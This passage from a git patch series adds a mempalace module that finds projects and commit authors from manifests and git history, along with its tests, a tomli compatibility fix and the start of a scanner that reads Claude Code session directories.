0 + user_commits: int = 0 + is_mine: bool = False + + @property + def confidence(self) -> float: + if self.is_mine: + return 0.99 + if self.has_git and self.total_commits > 0: + return 0.7 + return 0.85 # manifest-only, no git + + def to_signal(self) -> str: + parts: list[str] = [] + if self.manifest: + parts.append(self.manifest) + if self.has_git: + if self.is_mine and self.user_commits: + parts.append(f"{self.user_commits} of your commits") + elif self.user_commits: + parts.append(f"{self.user_commits}/{self.total_commits} yours") + else: + parts.append(f"{self.total_commits} commits (none by you)") + return ", ".join(parts) or "repo" + + +@dataclass +class PersonInfo: + name: str + total_commits: int = 0 + emails: set[str] = field(default_factory=set) + repos: set[str] = field(default_factory=set) + + @property + def confidence(self) -> float: + if self.total_commits >= 100 or len(self.repos) >= 3: + return 0.99 + if self.total_commits >= 20: + return 0.85 + return 0.65 + + def to_signal(self) -> str: + r = len(self.repos) + return f"{self.total_commits} commit{'s' if self.total_commits != 1 else ''} across {r} repo{'s' if r != 1 else ''}" + + +# ==================== MANIFEST PARSING ==================== + + +def _parse_package_json(path: Path) -> Optional[str]: + try: + data = json.loads(path.read_text(encoding="utf-8", errors="replace")) + except (json.JSONDecodeError, OSError): + return None + name = data.get("name") + return name if isinstance(name, str) and name else None + + +def _parse_toml(path: Path) -> dict: + if tomllib is None: + return {} + try: + with open(path, "rb") as f: + return tomllib.load(f) + except (OSError, Exception): + return {} + + +def _parse_pyproject(path: Path) -> Optional[str]: + data = _parse_toml(path) + name = data.get("project", {}).get("name") + if isinstance(name, str) and name: + return name + name = data.get("tool", {}).get("poetry", {}).get("name") + return name if isinstance(name, str) and name else None + + +def _parse_cargo(path: Path) -> Optional[str]: + data = _parse_toml(path) + name = data.get("package", {}).get("name") + return name if isinstance(name, str) and name else None + + +def _parse_gomod(path: Path) -> Optional[str]: + try: + for line in path.read_text(encoding="utf-8", errors="replace").splitlines(): + line = line.strip() + if line.startswith("module "): + mod = line.split(None, 1)[1].strip() + return mod.split("/")[-1] or None + except OSError: + return None + return None + + +MANIFEST_PARSERS = { + "package.json": _parse_package_json, + "pyproject.toml": _parse_pyproject, + "Cargo.toml": _parse_cargo, + "go.mod": _parse_gomod, +} + + +# ==================== GIT HELPERS ==================== + + +def _run_git(cwd: Path, *args: str, timeout: int = GIT_TIMEOUT) -> str: + try: + r = subprocess.run( + ["git", "-C", str(cwd), *args], + capture_output=True, + text=True, + timeout=timeout, + check=False, + ) + return r.stdout if r.returncode == 0 else "" + except (OSError, subprocess.SubprocessError): + return "" + + +def _git_user_identity(repo: Path) -> tuple[str, str]: + """Return (name, email) for this repo, falling back to global config.""" + name = _run_git(repo, "config", "user.name", timeout=2).strip() + email = _run_git(repo, "config", "user.email", timeout=2).strip() + return name, email + + +def _global_git_identity() -> tuple[str, str]: + try: + n = subprocess.run( + ["git", "config", "--global", "user.name"], + capture_output=True, + text=True, + timeout=2, + check=False, + ).stdout.strip() + e = subprocess.run( + ["git", "config", "--global", "user.email"], + capture_output=True, + text=True, + timeout=2, + check=False, + ).stdout.strip() + return n, e + except (OSError, subprocess.SubprocessError): + return "", "" + + +def _git_authors(repo: Path) -> list[tuple[str, str]]: + out = _run_git( + repo, + "log", + f"--max-count={MAX_COMMITS_PER_REPO}", + "--format=%aN|%aE", + ) + result = [] + for line in out.splitlines(): + if "|" in line: + name, email = line.split("|", 1) + result.append((name.strip(), email.strip())) + return result + + +# ==================== BOT / NAME FILTERING ==================== + + +_BOT_NAME_PATTERNS = [ + r"\[bot\]", + r"^dependabot", + r"^renovate", + r"^github-actions", + r"^actions-user", + r"-bot$", + r"\bbot$", # catches "PR Bot", "Release Bot", etc. Not "robot" (no \b) + r"^bot-", + r"^snyk", + r"^greenkeeper", + r"^semantic-release", + r"^allcontributors", + r"-autoroll$", + r"^auto-format", + r"^pre-commit-ci", +] +_BOT_EMAIL_PATTERNS = [ + # `@users.noreply.github.com` is GitHub's privacy-protected human email — + # do NOT filter it. Real bots identify themselves via the display name + # (usually containing "[bot]"), which is caught by _BOT_NAME_PATTERNS. + r"bot@", + r"-bot@", + r"\[bot\]@", +] + +_BOT_RE_NAMES = [re.compile(p) for p in _BOT_NAME_PATTERNS] +_BOT_RE_EMAILS = [re.compile(p) for p in _BOT_EMAIL_PATTERNS] + + +def _is_bot(name: str, email: str) -> bool: + ln, le = name.lower(), email.lower() + return any(rx.search(ln) for rx in _BOT_RE_NAMES) or any(rx.search(le) for rx in _BOT_RE_EMAILS) + + +def _looks_like_real_name(name: str) -> bool: + """Heuristic: a human's name has a space and at least two title-cased parts. + + Filters out handles (lowercase, digits, one-token usernames). + """ + if not name or " " not in name: + return False + parts = name.split() + if len(parts) < 2: + return False + # First and last parts must start with an uppercase letter + return parts[0][:1].isupper() and parts[-1][:1].isupper() + + +# ==================== DIRECTORY WALK ==================== + + +def _walk(root: Path, max_depth: int = MAX_DEPTH): + for dirpath, dirs, files in os.walk(root): + dirs[:] = [d for d in dirs if d not in SKIP_DIRS and not d.startswith(".")] + rel = Path(dirpath).relative_to(root) if dirpath != str(root) else Path(".") + try: + rel = Path(dirpath).relative_to(root) + except ValueError: + continue + depth = 0 if rel == Path(".") else len(rel.parts) + if depth > max_depth: + dirs.clear() + continue + yield Path(dirpath), dirs, files + + +def find_git_repos(root: Path, max_depth: int = MAX_DEPTH) -> list[Path]: + """Return git repo roots under `root` (including root itself if it's a repo).""" + root = root.resolve() + repos: list[Path] = [] + if (root / ".git").is_dir(): + # Root is a repo — still walk for nested repos (submodules, etc.) + repos.append(root) + for dirpath, dirs, _ in _walk(root, max_depth): + if dirpath == root: + continue + if (dirpath / ".git").is_dir(): + repos.append(dirpath) + dirs.clear() # don't descend into this repo's contents from here + return repos + + +def _collect_manifest_names(repo_root: Path) -> list[tuple[str, str, Path]]: + """Return (manifest_filename, project_name, dirpath) within a repo. + + Does not descend into nested git repos. + """ + found: list[tuple[str, str, Path]] = [] + for dirpath, dirs, files in _walk(repo_root): + if dirpath != repo_root and (dirpath / ".git").is_dir(): + dirs.clear() + continue + for fname in files: + parser = MANIFEST_PARSERS.get(fname) + if not parser: + continue + name = parser(dirpath / fname) + if name: + found.append((fname, name, dirpath)) + return found + + +# ==================== MAIN SCAN ==================== + + +class _UnionFind: + """Minimal union-find for (name, email) identity resolution.""" + + def __init__(self) -> None: + self.parent: dict = {} + + def find(self, x): + if x not in self.parent: + self.parent[x] = x + return x + root = x + while self.parent[root] != root: + root = self.parent[root] + while self.parent[x] != root: + self.parent[x], x = root, self.parent[x] + return root + + def union(self, a, b) -> None: + ra, rb = self.find(a), self.find(b) + if ra != rb: + self.parent[ra] = rb + + +def _dedupe_people( + all_commits: list[tuple[str, str, str]], +) -> dict[str, PersonInfo]: + """Group commits by identity. Two commits are the same person if they + share a name OR an email. Display name = most frequent non-bot variant. + + ``all_commits`` is a list of (name, email, repo_str) triples from every repo. + """ + uf = _UnionFind() + for name, email, _repo in all_commits: + uf.union(("name", name), ("email", email) if email else ("name", name)) + + # Aggregate by component root + component_commits: dict = {} + for name, email, repo in all_commits: + key = uf.find(("name", name)) + entry = component_commits.setdefault( + key, {"name_counts": {}, "emails": set(), "repos": set(), "total": 0} + ) + entry["name_counts"][name] = entry["name_counts"].get(name, 0) + 1 + if email: + entry["emails"].add(email) + entry["repos"].add(repo) + entry["total"] += 1 + + # Pick display name per component: the most-frequent variant that looks + # like a real name; fall back to most-frequent overall. + people: dict[str, PersonInfo] = {} + for _key, entry in component_commits.items(): + candidates = sorted(entry["name_counts"].items(), key=lambda x: -x[1]) + display = next( + (n for n, _ in candidates if _looks_like_real_name(n)), + candidates[0][0], + ) + if not _looks_like_real_name(display): + continue # Skip handles and single-token names + # If we already have this display (rare — distinct components with the + # same chosen display), merge into the existing entry. + existing = people.get(display) + if existing: + existing.total_commits += entry["total"] + existing.emails.update(entry["emails"]) + existing.repos.update(entry["repos"]) + else: + people[display] = PersonInfo( + name=display, + total_commits=entry["total"], + emails=set(entry["emails"]), + repos=set(entry["repos"]), + ) + return people + + +def scan(root: str | os.PathLike) -> tuple[list[ProjectInfo], list[PersonInfo]]: + """Scan `root` for projects and people. Returns (projects, people) sorted.""" + root_path = Path(root).expanduser().resolve() + if not root_path.is_dir(): + return [], [] + + repos = find_git_repos(root_path) + + # Identify current user from first repo's git config, fall back to global + me_name, me_email = "", "" + if repos: + me_name, me_email = _git_user_identity(repos[0]) + if not me_name and not me_email: + me_name, me_email = _global_git_identity() + + projects: dict[str, ProjectInfo] = {} + all_commits: list[tuple[str, str, str]] = [] + + for repo in repos: + manifests = _collect_manifest_names(repo) + root_level = [m for m in manifests if m[2] == repo] + if root_level: + manifest_file, proj_name, _ = root_level[0] + elif manifests: + manifest_file, proj_name, _ = manifests[0] + else: + manifest_file, proj_name = None, repo.name + + authors = _git_authors(repo) + total_commits = len(authors) + user_commits = 0 + author_counts: dict[str, int] = {} + for name, email in authors: + if _is_bot(name, email): + continue + author_counts[name] = author_counts.get(name, 0) + 1 + all_commits.append((name, email, str(repo))) + if (me_name and name == me_name) or (me_email and email == me_email): + user_commits += 1 + + is_mine = False + if user_commits > 0: + sorted_authors = sorted(author_counts.items(), key=lambda x: -x[1]) + top5 = {n for n, _ in sorted_authors[:5]} + if me_name and me_name in top5: + is_mine = True + elif total_commits and user_commits / total_commits >= 0.10: + is_mine = True + elif user_commits >= 20: + is_mine = True + + proj = ProjectInfo( + name=proj_name, + repo_root=repo, + manifest=manifest_file, + has_git=True, + total_commits=total_commits, + user_commits=user_commits, + is_mine=is_mine, + ) + existing = projects.get(proj_name) + if existing is None or proj.user_commits > existing.user_commits: + projects[proj_name] = proj + + people = _dedupe_people(all_commits) + + # Handle case: root has manifests but no git repo anywhere + if not repos: + manifests = _collect_manifest_names(root_path) + for manifest_file, proj_name, _dirpath in manifests: + if proj_name in projects: + continue + projects[proj_name] = ProjectInfo( + name=proj_name, + repo_root=root_path, + manifest=manifest_file, + has_git=False, + ) + + project_list = sorted( + projects.values(), + key=lambda p: (not p.is_mine, -p.user_commits, -p.total_commits, p.name), + ) + people_list = sorted(people.values(), key=lambda p: -p.total_commits) + + return project_list, people_list + + +# ==================== ADAPTER ==================== + + +def to_detected_dict( + projects: list[ProjectInfo], + people: list[PersonInfo], + project_cap: int = 15, + people_cap: int = 15, +) -> dict: + """Convert scan results into the dict shape produced by entity_detector.detect_entities.""" + proj_entries = [ + { + "name": p.name, + "type": "project", + "confidence": round(p.confidence, 2), + "frequency": p.user_commits or p.total_commits, + "signals": [p.to_signal()], + } + for p in projects[:project_cap] + ] + people_entries = [ + { + "name": p.name, + "type": "person", + "confidence": round(p.confidence, 2), + "frequency": p.total_commits, + "signals": [p.to_signal()], + } + for p in people[:people_cap] + ] + return { + "people": people_entries, + "projects": proj_entries, + "uncertain": [], + } + + +# ==================== MERGE WITH REGEX DETECTOR ==================== + + +def _merge_detected(primary: dict, secondary: dict, drop_secondary_uncertain: bool = False) -> dict: + """Merge two detected dicts. Primary entries win on name conflict. + + Dedup is case-insensitive so "mempalace" (manifest name) absorbs "MemPalace" + (docs/prose reference) instead of surfacing both. + + If ``drop_secondary_uncertain`` is True, the secondary's uncertain bucket is + dropped entirely — useful when the primary signal is strong (real repo + found) and we'd rather not ask the user to adjudicate prose-regex noise. + """ + seen = {e["name"].lower() for cat in primary.values() for e in cat} + merged = {k: list(v) for k, v in primary.items()} + for cat_key in ("people", "projects", "uncertain"): + if cat_key == "uncertain" and drop_secondary_uncertain: + continue + for e in secondary.get(cat_key, []): + if e["name"].lower() in seen: + continue + merged.setdefault(cat_key, []).append(e) + seen.add(e["name"].lower()) + return merged + + +def discover_entities( + project_dir: str | os.PathLike, + languages: tuple = ("en",), + prose_file_cap: int = 10, + project_cap: int = 15, + people_cap: int = 15, +) -> dict: + """Top-level entity discovery: real signals first, prose detection second. + + Returns the same dict shape as ``entity_detector.detect_entities`` so it + plugs into ``confirm_entities`` unchanged. + + Order of signal preference: + 1. Package manifests (package.json, pyproject.toml, Cargo.toml, go.mod) + → canonical project names + 2. Git commit authors → real people with real commit counts + 3. Regex entity detection on prose files → supplementary names only + mentioned in docs/notes (not code) + """ + projects, people = scan(project_dir) + real_signal = to_detected_dict(projects, people, project_cap=project_cap, people_cap=people_cap) + + # Secondary pass: prose-only extraction catches names mentioned in docs + # that never made a commit (e.g. a stakeholder or family member in notes). + from mempalace.entity_detector import detect_entities, scan_for_detection + + prose_files = scan_for_detection(str(project_dir), max_files=prose_file_cap) + prose_detected = ( + detect_entities(prose_files, languages=languages) + if prose_files + else {"people": [], "projects": [], "uncertain": []} + ) + + # If git/manifests gave us real projects, suppress the regex "uncertain" bucket. + # That bucket is mostly noise (common words, CamelCase tech terms, etc.) and + # adding it to the review flow just makes the user do triage we can skip. + has_real_signal = bool(projects) or bool(people) + return _merge_detected(real_signal, prose_detected, drop_secondary_uncertain=has_real_signal) + + +# ==================== CLI ==================== + + +if __name__ == "__main__": + import sys + + target = sys.argv[1] if len(sys.argv) > 1 else "." + projs, ppl = scan(target) + print(f"=== PROJECTS ({len(projs)}) ===") + for p in projs[:30]: + mark = "★" if p.is_mine else " " + print(f" {mark} {p.name:35} conf={p.confidence:.2f} {p.to_signal()}") + print() + print(f"=== PEOPLE ({len(ppl)}) ===") + for p in ppl[:30]: + print(f" {p.name:30} conf={p.confidence:.2f} {p.to_signal()}") diff --git a/tests/test_project_scanner.py b/tests/test_project_scanner.py new file mode 100644 index 0000000..3499796 --- /dev/null +++ b/tests/test_project_scanner.py @@ -0,0 +1,411 @@ +"""Tests for mempalace.project_scanner.""" + +import json +import subprocess +from pathlib import Path + +from mempalace.project_scanner import ( + PersonInfo, + ProjectInfo, + _dedupe_people, + _is_bot, + _looks_like_real_name, + _merge_detected, + _parse_cargo, + _parse_gomod, + _parse_package_json, + _parse_pyproject, + _UnionFind, + discover_entities, + find_git_repos, + scan, + to_detected_dict, +) + + +# ── manifest parsers ──────────────────────────────────────────────────── + + +def test_parse_package_json(tmp_path): + f = tmp_path / "package.json" + f.write_text(json.dumps({"name": "my-package", "version": "1.0.0"})) + assert _parse_package_json(f) == "my-package" + + +def test_parse_package_json_missing_name(tmp_path): + f = tmp_path / "package.json" + f.write_text(json.dumps({"version": "1.0.0"})) + assert _parse_package_json(f) is None + + +def test_parse_package_json_malformed(tmp_path): + f = tmp_path / "package.json" + f.write_text("{ not valid json") + assert _parse_package_json(f) is None + + +def test_parse_pyproject_pep621(tmp_path): + f = tmp_path / "pyproject.toml" + f.write_text('[project]\nname = "my-py-package"\n') + assert _parse_pyproject(f) == "my-py-package" + + +def test_parse_pyproject_poetry(tmp_path): + f = tmp_path / "pyproject.toml" + f.write_text('[tool.poetry]\nname = "poetry-pkg"\n') + assert _parse_pyproject(f) == "poetry-pkg" + + +def test_parse_cargo(tmp_path): + f = tmp_path / "Cargo.toml" + f.write_text('[package]\nname = "rust-crate"\nversion = "0.1.0"\n') + assert _parse_cargo(f) == "rust-crate" + + +def test_parse_gomod(tmp_path): + f = tmp_path / "go.mod" + f.write_text("module github.com/user/my-go-mod\n\ngo 1.21\n") + assert _parse_gomod(f) == "my-go-mod" + + +# ── bot filtering ─────────────────────────────────────────────────────── + + +def test_is_bot_catches_github_actions(): + assert _is_bot("github-actions[bot]", "41898282+github-actions[bot]@users.noreply.github.com") + + +def test_is_bot_catches_dependabot(): + assert _is_bot("dependabot[bot]", "dependabot@github.com") + + +def test_is_bot_catches_pr_bot(): + assert _is_bot("Comfy Org PR Bot", "prbot@example.com") + + +def test_is_bot_does_not_flag_github_privacy_email(): + # Real humans use ...@users.noreply.github.com when privacy is enabled. + # Must NOT be filtered. + assert not _is_bot("Igor Lins e Silva", "123456+igorls@users.noreply.github.com") + + +def test_is_bot_does_not_flag_robot_person_name(): + # "Robot" as a surname should not trigger the \bbot$ pattern + # since \b requires a boundary before 'bot'. + assert not _is_bot("Sarah Robot", "sarah@example.com") + + +def test_looks_like_real_name_accepts_human(): + assert _looks_like_real_name("Igor Lins e Silva") + assert _looks_like_real_name("Jane Doe") + + +def test_looks_like_real_name_rejects_handles(): + assert not _looks_like_real_name("666ghj") + assert not _looks_like_real_name("comfyanonymous") + assert not _looks_like_real_name("bensig") + assert not _looks_like_real_name("") + assert not _looks_like_real_name("no_spaces_handle") + + +# ── union-find dedup ──────────────────────────────────────────────────── + + +def test_unionfind_merges_shared_email(): + commits = [ + ("Milla J", "shared@example.com", "repo1"), + ("MSL", "shared@example.com", "repo1"), + ("Milla J", "other@example.com", "repo1"), + ] + people = _dedupe_people(commits) + # All three commits collapse into one "Milla J" person (MSL is filtered + # as display name because it lacks a space but its commits still count). + assert "Milla J" in people + assert people["Milla J"].total_commits == 3 + assert "MSL" not in people + + +def test_unionfind_keeps_distinct_people_separate(): + commits = [ + ("Alice Example", "alice@example.com", "r"), + ("Bob Sample", "bob@sample.org", "r"), + ] + people = _dedupe_people(commits) + assert "Alice Example" in people + assert "Bob Sample" in people + + +def test_unionfind_merges_shared_name(): + """Same display name, two different emails, same person.""" + commits = [ + ("Jane Doe", "jane@work.com", "r"), + ("Jane Doe", "jane@personal.com", "r"), + ] + people = _dedupe_people(commits) + assert people["Jane Doe"].total_commits == 2 + assert len(people["Jane Doe"].emails) == 2 + + +# ── project_info / person_info ───────────────────────────────────────── + + +def test_project_info_confidence_is_mine(): + p = ProjectInfo(name="x", repo_root=Path("."), is_mine=True) + assert p.confidence == 0.99 + + +def test_project_info_confidence_no_git(): + p = ProjectInfo(name="x", repo_root=Path("."), has_git=False, manifest="package.json") + assert p.confidence > 0.8 + + +def test_person_info_signal_pluralization(): + p = PersonInfo(name="x", total_commits=1, repos={"a"}) + assert "1 commit across 1 repo" == p.to_signal() + p2 = PersonInfo(name="y", total_commits=5, repos={"a", "b"}) + assert "5 commits across 2 repos" == p2.to_signal() + + +# ── find_git_repos ────────────────────────────────────────────────────── + + +def test_find_git_repos_detects_root_repo(tmp_path): + (tmp_path / ".git").mkdir() + repos = find_git_repos(tmp_path) + assert tmp_path in repos + + +def test_find_git_repos_detects_nested(tmp_path): + sub = tmp_path / "subproject" + sub.mkdir() + (sub / ".git").mkdir() + repos = find_git_repos(tmp_path) + assert sub in repos + + +def test_find_git_repos_skips_nested_inside_repo(tmp_path): + """If root is a repo and there's another repo inside it, the inner repo is + NOT walked into (we stop at the first repo boundary when descending).""" + (tmp_path / ".git").mkdir() + deep = tmp_path / "a" / "b" / "nested-repo" + deep.mkdir(parents=True) + (deep / ".git").mkdir() + repos = find_git_repos(tmp_path) + # Root IS found; nested still discovered on its own branch (not inside root's .git) + assert tmp_path in repos + + +def test_find_git_repos_empty_dir(tmp_path): + assert find_git_repos(tmp_path) == [] + + +# ── scan ──────────────────────────────────────────────────────────────── + + +def _init_git_repo(path: Path, name: str = "Jane Doe", email: str = "jane@example.com"): + """Helper: init a git repo with one commit.""" + subprocess.run(["git", "init", "-q"], cwd=path, check=True) + subprocess.run(["git", "config", "user.name", name], cwd=path, check=True) + subprocess.run(["git", "config", "user.email", email], cwd=path, check=True) + subprocess.run(["git", "config", "commit.gpgsign", "false"], cwd=path, check=True) + (path / "README.md").write_text("hello") + subprocess.run(["git", "add", "README.md"], cwd=path, check=True) + subprocess.run( + ["git", "commit", "-q", "-m", "initial"], + cwd=path, + check=True, + env={"GIT_COMMITTER_NAME": name, "GIT_COMMITTER_EMAIL": email, "PATH": "/usr/bin:/bin"}, + ) + + +def test_scan_project_from_package_json(tmp_path): + (tmp_path / "package.json").write_text(json.dumps({"name": "my-app"})) + _init_git_repo(tmp_path) + projects, people = scan(tmp_path) + assert len(projects) == 1 + assert projects[0].name == "my-app" + assert projects[0].is_mine is True + + +def test_scan_project_from_pyproject(tmp_path): + (tmp_path / "pyproject.toml").write_text('[project]\nname = "pyproj"\n') + _init_git_repo(tmp_path) + projects, _ = scan(tmp_path) + assert any(p.name == "pyproj" for p in projects) + + +def test_scan_fallback_to_dir_name_when_no_manifest(tmp_path): + repo = tmp_path / "my-repo-name" + repo.mkdir() + _init_git_repo(repo) + projects, _ = scan(tmp_path) + assert any(p.name == "my-repo-name" for p in projects) + + +def test_scan_manifest_only_no_git(tmp_path): + """A dir with a manifest but no git still produces a project.""" + (tmp_path / "package.json").write_text(json.dumps({"name": "manifest-only"})) + projects, people = scan(tmp_path) + assert len(projects) == 1 + assert projects[0].name == "manifest-only" + assert projects[0].has_git is False + assert people == [] + + +def test_scan_empty_dir(tmp_path): + projects, people = scan(tmp_path) + assert projects == [] + assert people == [] + + +def test_scan_returns_empty_for_nonexistent(tmp_path): + missing = tmp_path / "does-not-exist" + projects, people = scan(missing) + assert projects == [] + assert people == [] + + +# ── to_detected_dict ──────────────────────────────────────────────────── + + +def test_to_detected_dict_shape(): + projects = [ProjectInfo(name="p", repo_root=Path("."), is_mine=True, manifest="package.json")] + people = [PersonInfo(name="Jane Doe", total_commits=5, repos={"r"})] + d = to_detected_dict(projects, people) + assert set(d.keys()) == {"people", "projects", "uncertain"} + assert d["projects"][0]["name"] == "p" + assert d["projects"][0]["type"] == "project" + assert d["people"][0]["name"] == "Jane Doe" + assert d["people"][0]["type"] == "person" + assert d["uncertain"] == [] + + +# ── merge ─────────────────────────────────────────────────────────────── + + +def test_merge_primary_wins_case_insensitive(): + primary = { + "people": [], + "projects": [ + { + "name": "mempalace", + "type": "project", + "confidence": 0.99, + "frequency": 10, + "signals": ["pyproject.toml"], + } + ], + "uncertain": [], + } + secondary = { + "people": [], + "projects": [], + "uncertain": [ + { + "name": "MemPalace", + "type": "uncertain", + "confidence": 0.4, + "frequency": 6, + "signals": ["regex"], + } + ], + } + merged = _merge_detected(primary, secondary) + # `MemPalace` (uncertain) is deduped against `mempalace` (project) case-insensitively + assert len(merged["projects"]) == 1 + assert len(merged["uncertain"]) == 0 + + +def test_merge_drops_secondary_uncertain_when_requested(): + primary = {"people": [], "projects": [], "uncertain": []} + secondary = { + "people": [], + "projects": [], + "uncertain": [ + {"name": "Foo", "type": "uncertain", "confidence": 0.4, "frequency": 3, "signals": []} + ], + } + merged = _merge_detected(primary, secondary, drop_secondary_uncertain=True) + assert merged["uncertain"] == [] + + +def test_merge_keeps_distinct_names(): + primary = { + "people": [ + { + "name": "Alice Smith", + "type": "person", + "confidence": 0.9, + "frequency": 10, + "signals": [], + } + ], + "projects": [], + "uncertain": [], + } + secondary = { + "people": [ + { + "name": "Bob Jones", + "type": "person", + "confidence": 0.7, + "frequency": 3, + "signals": [], + } + ], + "projects": [], + "uncertain": [], + } + merged = _merge_detected(primary, secondary) + assert len(merged["people"]) == 2 + + +# ── discover_entities ────────────────────────────────────────────────── + + +def test_discover_entities_falls_back_to_prose_when_no_git(tmp_path): + """If no manifests or git, regex detector on prose is the only source.""" + notes = tmp_path / "notes.md" + notes.write_text( + "Riley said hello. Riley asked about it. Riley laughed. " + "Hey Riley, thanks for the help. Riley pushed the change. " + "Riley decided to go." + ) + d = discover_entities(str(tmp_path)) + # Prose-only fallback kicks in — Riley appears with person signals + all_names = [e["name"] for cat in d.values() for e in cat] + assert "Riley" in all_names + + +def test_discover_entities_prefers_real_signal_over_prose(tmp_path): + """When manifest exists, its name wins even if prose has noisy candidates.""" + (tmp_path / "package.json").write_text(json.dumps({"name": "realproj"})) + _init_git_repo(tmp_path) + (tmp_path / "doc.md").write_text( + "Something. Another. Whatever. Context. Context. Context. Context. " + "realproj. realproj. realproj. realproj." + ) + d = discover_entities(str(tmp_path)) + proj_names = [e["name"] for e in d["projects"]] + assert "realproj" in proj_names + + +# ── _UnionFind basics ────────────────────────────────────────────────── + + +def test_unionfind_find_creates_singleton(): + uf = _UnionFind() + assert uf.find("x") == "x" + + +def test_unionfind_union_merges(): + uf = _UnionFind() + uf.union("a", "b") + assert uf.find("a") == uf.find("b") + + +def test_unionfind_transitive(): + uf = _UnionFind() + uf.union("a", "b") + uf.union("b", "c") + assert uf.find("a") == uf.find("c") diff --git a/uv.lock b/uv.lock index 49c28ff..5af54f1 100644 --- a/uv.lock +++ b/uv.lock @@ -1169,7 +1169,7 @@ wheels = [ [[package]] name = "mempalace" -version = "3.3.2" +version = "3.3.3" source = { editable = "." } dependencies = [ { name = "chromadb" }, From 14d7444abe5b0247b79c29b80e6e04625b9ec15e Mon Sep 17 00:00:00 2001 From: Igor Lins e Silva <4753812+igorls@users.noreply.github.com> Date: Fri, 24 Apr 2026 00:27:09 -0300 Subject: [PATCH 42/61] fix(deps): add tomli fallback for Python <3.11 `tomllib` is stdlib only in Python 3.11+. On Python 3.9/3.10 (and the macOS runner) the scanner's toml parsing returned empty, so manifest lookups for `pyproject.toml` / `Cargo.toml` produced no name. CI surfaced this via 4 test_project_scanner.py failures on the 3.9 matrix. Add `tomli>=2.0.0` as a conditional dependency for `python_version < '3.11'` and fall back to it in `project_scanner.py`. The project still declares `requires-python = ">=3.9"` so the fallback is the correct shape. --- mempalace/project_scanner.py | 7 +++++-- pyproject.toml | 1 + 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/mempalace/project_scanner.py b/mempalace/project_scanner.py index e078b6e..c03b883 100644 --- a/mempalace/project_scanner.py +++ b/mempalace/project_scanner.py @@ -28,7 +28,10 @@ from typing import Optional try: import tomllib # Python 3.11+ except ImportError: # pragma: no cover - tomllib = None # type: ignore + try: + import tomli as tomllib # Python 3.9/3.10 backport + except ImportError: + tomllib = None # type: ignore SKIP_DIRS = { @@ -130,7 +133,7 @@ def _parse_toml(path: Path) -> dict: try: with open(path, "rb") as f: return tomllib.load(f) - except (OSError, Exception): + except (OSError, tomllib.TOMLDecodeError): return {} diff --git a/pyproject.toml b/pyproject.toml index 8733ec3..617c067 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -29,6 +29,7 @@ classifiers = [ dependencies = [ "chromadb>=1.5.4,<2", "pyyaml>=6.0,<7", + "tomli>=2.0.0; python_version < '3.11'", ] [project.urls] From c7bd2cd8e4fa6df88e44bbca33fdf7437126e9dc Mon Sep 17 00:00:00 2001 From: Igor Lins e Silva <4753812+igorls@users.noreply.github.com> Date: Fri, 24 Apr 2026 00:46:31 -0300 Subject: [PATCH 43/61] feat(convo): parse Claude Code conversation dirs into project entities MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Claude Code stores sessions under `~/.claude/projects//.jsonl` where `` is the original CWD with `/` replaced by `-`. That encoding is lossy — can't distinguish `foo-bar` (one segment) from `foo/bar` (two) — so slug-decoding alone produces wrong names for any hyphenated project. Fortunately, every message record carries a `cwd` field with the true path. This scanner reads one record per session to recover the accurate project name deterministically, falling back to slug-decoding only if the JSONL is malformed or empty. Output shape matches project_scanner.ProjectInfo so the discover orchestrator can union results across sources. Session count doubles as a density signal for ranking. 22 unit tests cover: root detection, cwd extraction with malformed input tolerance, fallback slug decoding, name resolution using the newest session (so renames win), and dedup when two encoded dirs resolve to the same project. --- mempalace/convo_scanner.py | 152 +++++++++++++++++++++++++++ tests/test_convo_scanner.py | 199 ++++++++++++++++++++++++++++++++++++ 2 files changed, 351 insertions(+) create mode 100644 mempalace/convo_scanner.py create mode 100644 tests/test_convo_scanner.py diff --git a/mempalace/convo_scanner.py b/mempalace/convo_scanner.py new file mode 100644 index 0000000..bb8fbef --- /dev/null +++ b/mempalace/convo_scanner.py @@ -0,0 +1,152 @@ +""" +convo_scanner.py — Parse Claude Code conversation directories into ProjectInfo. + +Claude Code stores sessions under ``~/.claude/projects//.jsonl``, +where the ```` is the original CWD with ``/`` replaced by ``-``. That +encoding is lossy: we can't tell whether ``foo-bar`` in a slug is the +literal project name ``foo-bar`` or two path segments ``foo/bar``. + +Fortunately, every message record in the JSONL carries a ``cwd`` field with +the true path. This scanner reads one record per session to recover the +accurate project name, falling back to slug-decoding only if the JSONL +is malformed or empty. + +Output is the same ``ProjectInfo`` shape used by ``project_scanner``, so the +``discover_entities`` orchestrator can mix-and-match sources. + +Public: + is_claude_projects_root(path) -> bool + scan_claude_projects(path) -> list[ProjectInfo] +""" + +from __future__ import annotations + +import json +from pathlib import Path +from typing import Optional + +from mempalace.project_scanner import ProjectInfo + + +MAX_HEADER_LINES = 20 # lines to read per session looking for `cwd` + + +def is_claude_projects_root(path: Path) -> bool: + """Return True if path looks like `.claude/projects/`. + + Heuristic: at least one child dir whose name starts with ``-`` and which + contains at least one ``.jsonl`` file. + """ + if not path.is_dir(): + return False + try: + children = list(path.iterdir()) + except OSError: + return False + for child in children: + if not (child.is_dir() and child.name.startswith("-")): + continue + try: + if any(p.suffix == ".jsonl" for p in child.iterdir() if p.is_file()): + return True + except OSError: + continue + return False + + +def _extract_cwd_from_session(session_file: Path) -> Optional[str]: + """Return the ``cwd`` from the first message record that carries one. + + Returns None if the file can't be read, has no JSON, or no record has cwd. + """ + try: + with open(session_file, encoding="utf-8", errors="replace") as f: + for i, line in enumerate(f): + if i >= MAX_HEADER_LINES: + break + line = line.strip() + if not line: + continue + try: + obj = json.loads(line) + except json.JSONDecodeError: + continue + cwd = obj.get("cwd") + if isinstance(cwd, str) and cwd: + return cwd + except OSError: + return None + return None + + +def _decode_slug_fallback(slug: str) -> str: + """Best-effort project name from slug when cwd is unavailable. + + The slug is lossy (`/` and `-` both become `-`). Last non-empty segment + is the closest guess at the project name, preserving kebab-case is + impossible without cwd. + """ + stripped = slug.lstrip("-") + parts = [p for p in stripped.split("-") if p] + return parts[-1] if parts else slug + + +def _resolve_project_name(project_dir: Path) -> str: + """Read one session's cwd to recover the original project name. + + Falls back to slug-decoding if no session has a readable cwd. + """ + sessions = sorted( + (p for p in project_dir.iterdir() if p.is_file() and p.suffix == ".jsonl"), + key=lambda p: p.stat().st_mtime, + reverse=True, # newest first — most likely to be well-formed + ) + for session in sessions: + cwd = _extract_cwd_from_session(session) + if cwd: + return Path(cwd).name or 